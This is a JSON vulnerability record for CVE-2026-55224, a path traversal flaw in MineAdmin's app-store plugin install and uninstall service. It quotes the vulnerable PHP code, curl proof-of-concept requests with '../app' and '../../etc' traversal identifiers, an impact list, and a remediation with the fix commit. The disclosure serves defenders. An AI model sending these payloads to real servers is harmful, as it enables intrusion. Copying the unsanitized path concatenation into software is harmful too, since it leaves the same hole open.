{"id":"CVE-2026-55224","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55224","summary":"MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall","details":"## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params['identifier']) || empty($params['version'])) {\n        $this->throwParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal\n        $result = $service->download($params['identifier'], $params['version']);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    if (file_exists($path . '/install.lock')) {\n        $this->throwAppInstalled();\n    }\n    Plugin::install($params['identifier']);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: 'admin/plugin/store')]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../app\", \"version\": \"1.0.0\"}'\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}'\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.","published":"2026-08-18T20:40:37Z","modified":"2026-08-18T20:45:08.681503795Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"mineadmin/mineadmin","fixedVersion":"3.2.0-alpha.2"}],"fix":{"url":"https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1","label":"mineadmin/MineAdmin@ca41902"},"references":[{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"},{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"},{"type":"PACKAGE","url":"https://github.com/mineadmin/MineAdmin"},{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T20:45:08.681503795Z"}}